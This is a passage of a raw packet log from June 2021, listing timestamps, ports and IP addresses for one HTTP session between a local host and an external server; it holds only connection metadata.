Jun 16, 2021 12:04:55.048980951 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.049017906 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.049055099 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.049056053 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.049096107 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.049132109 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.049140930 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.049184084 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.049221992 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.049222946 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.049262047 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.049299002 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.049479008 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.049770117 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.049838066 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.049884081 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.049921989 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.049941063 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.049963951 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.049998999 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.050034046 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.050035954 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.050069094 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.050105095 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.050107002 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.050139904 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.050177097 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.050183058 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.050223112 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.050256968 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.050260067 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.050645113 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.050687075 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.050719976 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.050751925 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.050781965 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.050818920 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.050827026 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.050865889 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.050899982 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.050911903 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.050935984 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.050971031 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.050973892 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.051003933 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.051038980 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.051073074 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.051080942 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.051137924 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.051220894 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.051556110 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.051595926 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.051623106 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.051650047 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.051682949 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.051685095 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.051721096 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.051755905 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.051763058 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.051790953 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.051826000 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.051831007 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.051862001 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.051898956 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.051903963 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.051943064 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.051976919 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.052014112 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.052479029 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.052519083 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.052546024 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.052575111 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.052584887 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.052622080 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.052656889 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.052679062 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.052695990 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.052731991 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.052736044 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.052774906 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.052865982 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.053154945 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.053200006 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.053237915 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.053273916 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.053294897 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.053308010 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.053347111 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.053348064 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.053383112 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.053416967 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.053451061 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.053455114 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.053494930 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.053533077 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.053570986 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.053574085 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.053606033 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.053649902 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.054061890 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.054153919 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.054189920 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.054224014 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.054244995 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.054259062 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.054301977 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.054306030 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.054342985 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.054382086 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.054394007 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.054419994 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.054455042 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.054461002 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.054488897 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.054533005 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.054538965 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.054577112 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.054615974 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.055062056 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.055108070 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.055161953 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.055169106 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.055207014 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.055241108 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.055275917 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.055309057 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.055331945 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.055354118 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.055394888 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.055401087 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.055429935 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.055465937 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.055466890 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.055501938 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.055536032 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.055540085 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.055876017 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.055915117 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.055938959 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.055948973 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.055984974 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.055999041 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.056020021 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.056052923 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.056057930 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.056087971 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.056123018 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.056133032 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.056165934 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.056209087 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.063951969 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.065335989 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.092114925 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.092137098 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.092156887 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.092178106 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.092204094 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.092214108 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.092226982 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.092247963 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.092252016 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.092271090 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.092283964 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.092292070 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.092313051 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.092333078 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.092354059 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.092358112 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.092366934 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.092380047 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.092402935 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.092432976 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.092454910 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.092475891 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.092494011 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.092495918 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.092516899 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.092542887 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.092556000 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.092566967 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.092571974 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.092587948 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.092624903 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.092645884 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.092679977 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.092749119 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.092782974 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.092796087 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.092818975 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.092822075 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.092840910 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.092860937 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.092861891 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.092883110 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.092902899 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.092921972 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.092921972 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.092948914 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.092971087 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.092987061 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.092991114 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.093013048 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.093029976 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.093033075 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.093051910 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.093071938 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.093097925 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.093102932 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.093117952 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.093138933 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.093158960 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.093158960 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.093183994 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.093205929 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.093224049 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.093225002 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.093245983 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.093255043 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.093267918 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.093286991 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.093307018 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.093307972 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.093327999 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.093358040 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.093359947 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.093383074 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.093403101 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.093425035 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.093429089 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.093451977 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.093473911 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.093493938 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.093499899 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.093511105 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.093556881 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.093585014 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.093626022 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.093660116 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.093694925 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.093707085 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.093715906 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.093738079 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.093756914 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.093760014 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.093786001 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.093799114 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.093810081 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.093828917 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.093849897 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.093871117 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.093874931 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.093890905 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.093911886 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.093931913 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.093944073 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.093959093 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.093977928 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.093982935 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.094003916 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.094023943 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.094048977 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.094049931 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.094070911 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.094085932 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.094091892 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.094113111 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.094131947 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.094151974 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.094151974 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.094172955 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.094194889 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.094197989 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.094222069 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.094242096 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.094260931 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.094263077 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.094283104 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.094302893 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.094324112 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.094325066 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.094346046 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.094369888 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.094383001 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.094393015 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.094413996 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.094434023 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.094458103 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.094458103 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.094494104 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.094511032 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.094562054 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.094594955 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.094614029 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.094615936 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.094640017 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.094661951 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.094681025 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.094681978 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.094702005 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.094722986 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.094738960 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.094742060 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.094763994 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.094784021 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.094799995 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.094809055 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.094831944 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.094851017 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.094866991 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.095161915 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.095299959 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.095323086 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.095344067 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.095364094 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.095388889 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.095391035 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.095403910 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.095415115 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.095436096 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.095455885 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.095475912 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.095477104 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.095496893 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.095516920 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.095536947 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.095537901 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.095565081 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.095607996 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.096095085 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.096153975 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.096175909 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.096179008 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.096196890 CEST	80	49167	104.21.14.60	192.168.2.22
